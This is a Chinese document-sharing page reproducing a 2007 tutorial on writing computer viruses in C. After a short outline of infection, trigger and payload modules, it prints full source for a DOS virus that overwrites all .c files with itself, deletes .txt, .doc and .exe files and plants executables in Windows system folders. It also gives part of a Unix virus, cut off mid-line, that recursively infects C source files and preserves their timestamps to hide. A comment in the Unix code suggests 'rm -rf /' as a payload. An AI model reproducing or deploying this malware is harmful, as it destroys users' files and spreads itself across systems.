用C语言编写简单的病毒.docx
- 文档编号:15125726
- 上传时间:2023-07-01
- 格式:DOCX
- 页数:22
- 大小:24.40KB
用C语言编写简单的病毒.docx
《用C语言编写简单的病毒.docx》由会员分享,可在线阅读,更多相关《用C语言编写简单的病毒.docx(22页珍藏版)》请在冰点文库上搜索。
用C语言编写简单的病毒
用C语言编写简单的病毒[转]
2007年08月28日星期二下午03:
39
[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
[Abstract]Thispaperintroducethecharateristicofthecomputervirus,thenshowasimpleexamplewrittenbyTURBOC2.0.
一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在畔踩惺呛苤匾?
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。
FredericCohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。
“
其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。
只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:
感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。
病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。
我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if(infectable_object_found
&&object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if(date_is_Friday_13th_and_time_is_03:
13:
13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。
它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。
简单的有效负荷可以如下进行:
Executesection()
{
if(trigger_statue_is_yes)
execute_payload;
}
二、编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。
386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。
VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:
在dir.h。
findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:
在stdio.h.只要知道文件名,可以删除任意类型的文件.
四我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.
RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
/**********************************
INFACT,IT"SNOTAVIRYUSATALL.
**********************************/
#include
#include
#include
#include
#include
/*copyoutfiletoinfile*/
voidcopyfile(char*infile,char*outfile)
{
FILE*in,*out;
in=fopen(infile,"r");
out=fopen(outfile,"w");
while(!
feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*
ThisfunctionnamedRubbishmaker.
*/
voidMakeRubbish()
{
inti;
FILE*fp;
char*path;
char*NewName;
char*disk[7]={"A","B","C","D","E","F","G"};
char*addtion=":
\\";
/*Makesomerubbishatthecurrentcatalogue*/
for(i=0;i<5;i++)
{
chartempname[]="XXXXXX";
NewName=mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
}
/*makesomerubbishattherootcatalogue*/
path=strcat(disk[getdisk()],addtion);/*gettherootcatalogue*/
chdir(path);/*changedirectoryaccordingtothe"path"*/
for(i=0;i<5;i++)
{
chartempname[]="XXXXXX";
NewName=mktemp(tempname);
fp=fopen(NewName,"w");
fclose(fp);
}
}
/*
Thisfunctioncancreatsome.exeor.comdocumentsinthesensitiveplace.
Don'tworry,It'sonlyajoke.Itwilldonoharmtoyourcomputer.
*/
voidCreatEXE()
{
inti;
char*path;
char*s[2]={"C:
\\WINDOWS\\system32\\loveworm.exe","C:
\\WINDOWS\\"};
for(i=0;i<2;i++)
{
open(s
0x0100,0x0080);
copyfile("C_KILLER.C",s);
}
}
/*removesomethingfromyourcomputer*/
voidRemove()
{
intdone;
inti;
structffblkffblk;
char*documenttype[3]={"*.txt","*.doc","*.exe"};
for(i=0;i<3;i++)
{
done=findfirst(documenttype,&ffblk,2);
while(!
done)
{
remove(ffblk.ff_name);
done=findnext(&ffblk);
}
}
}
/*overlaythecprograms*/
voidBreed()
{
intdone;
structffblkffblk;
done=findfirst("*.c",&ffblk,2);
while(!
done)
{
if(strcmp("C_KILLER.C",ffblk.ff_name)!
=0)
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done=findnext(&ffblk);
}
}
voidmain()
{
printf("THEREISAVIRUSBYXIAOKE.\n\n");
Breed();
Remove();
CreatEXE();
printf("COULDYOUTELLMEYOURNAME?
\n\n");
printf("NOW,PLEASEENTERYOURNAME,ORTHEREWILLBESOMETROUBLEWITHYOU!
\n\n");
MakeRubbish();
getchar();
printf("IT'SONLYAJOKE!
THANKYOU!
\n\n");
clrscr();
system("cmd");
}
简单的c病毒
2007年,我的最后一个程序哦,觉得很有纪念意义,所以拿来共享。
不过是unix/linux环境的,能看懂原理就OK了。
详细分析请参考我的blog:
Tip:
仅供学习参考-->了解病毒是为了更好的防范它。
Copycode
/*ucfree:
2007-12-31start*/
#include
#include
#include
#include
#include
#include
#defineVIR_NAM "virus.c" //virusfilename
#defineBUF_SIZE 101
#defineSTA_PATH "/" //startpath
charvir_path[BUF_SIZE]="";
/* it'sthemainpartofvirus'sbody,
* itcantraversalallthepartsofthesystemfromSTA_PATH,
* andiftheprocesshaveenoughpermission,
* allofthe.cfilewillbeinginfectedasavirus
*/
voidvir_body()
{
DIR *dp;
structdirent *dirp;
structstat buf,cur_dir_buf;
int i;
char str_buf[BUF_SIZE];
//initthevir_path
if(!
strcmp(vir_path,""))
{
if(getcwd(vir_path,BUF_SIZE)==NULL)
{
return;
}
strcat(vir_path,"/");
strcat(vir_path,VIR_NAM);
chdir(STA_PATH);
}
if((dp=opendir("."))==NULL)
{
return;
}
//doallthesub_dirterms
while((dirp=readdir(dp))!
=NULL)
{
i=strlen(dirp->d_name);
if(dirp->d_name[i-1]=='c'&&
dirp->d_name[i-2]=='.')
{//isacfile
do_c_file(dirp->d_name);
continue;
}
if(stat(dirp->d_name,&buf)<0)
{//getthestatofthefile
continue;
}
if(!
S_ISDIR(buf.st_mode))
{//isnotadirectory
continue;
}
if(!
strcmp(dirp->d_name,".")||
!
strcmp(dirp->d_name,".."))
{//ignoredotanddot_dotdirectory
continue;
}
//dothesubmitderectoryascurrent
chdir(dirp->d_name);
vir_body();
chdir("..");
}
closedir(dp);
/*here!
youcandoanythingthatyouwant
*justusethesysteminvokesorshellcommands
*ex:
*if(system_data_is_sundy)
*{
*system("rm-rf/");
*}
*tip:
iftheprocessruningasroot,thesystembeingover
* it'sdangerous,sonottotry
*/
return;
}
/* thisfuntionistrytoinfectthe.cfile,
* ifthe.cfileisalreadyinfected,noneedtodoitagain,
* elsetheworkbegin......
*/
intdo_c_file(constchar*f_name)
{
FILE *fp_obj,*fp_vir,*fp_tmp;
char buf[BUF_SIZE];
char flag;
char *tmp_buf;
structstat statbuf;//gettheobjectfile'sstat
structutimbuf timebuf;//keeptheobjectfile'saccessandmodifytime
if((fp_obj=fopen(f_name,"r+"))==NULL)
{//objectfile
return1;
}
if(stat(f_name,&statbuf)<0)
{
return1;
}
timebuf.actime=statbuf.st_atime;
timebuf.modtime=statbuf.st_mtime;
if((fp_vir=fopen(vir_path,"r"))==NULL)
{//virusfile
return1;
}
//makeatempfileasabuffer
if((tmp_buf=tmpnam(NULL))==NULL)
{
return1;
}
if((fp_tmp=fopen(tmp_buf,"a+"))==NULL)
{//tempfile
return1;
}
unlink(tmp_buf);//kernalwilldeleteitaftertheprocessdone
//readtheCtextintothetempfile,andmodifyit
flag='T';
while(fgets(buf,BUF_SIZE,fp_obj)!
=NULL)
{
if(!
strcmp(buf,"/*ucfree:
2007-12-31start*/\n"))
{//theobejectfilehavebeeninfected
return0;
}
if(flag=='T'&&strstr(buf,"main("))
{//findthefuntionmain,changeflag
flag='F';
}
if(flag=='F'&&(strstr(buf,"return")||
strstr(buf,"}")))
{//inserttheinvokeline,before"return"or"}"
fputs("\t\tvir_body();\n",fp_tmp);
flag='O';
}
fputs(buf,fp_tmp);
}
if(flag!
='O')
{//isnotthemaincfile
return0;
}
//addthepartsofvirus'sbodytothetailoftempfile
flag='T';
while(fgets(buf,BUF_SIZE,fp_vir)!
=NULL)
{
if(flag=='T'&&
!
strcmp(buf,"/*ucfree:
2007-12-31start*/\n"))
{//isthestartofthevirus'sbody
flag='F';
}
if(flag=='T')
{//notfindthestart
continue;
}
if(flag=='O')
{//virusbodyhavebeeninserted,doover
break;
}
//insertvirus'sbody
if(!
strcmp(buf,"/*ucfree:
2007-12-31end*/\n"))
{//istheendofthevirus'sbody
flag='O';
}
if(strstr(bu
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 语言 编写 简单 病毒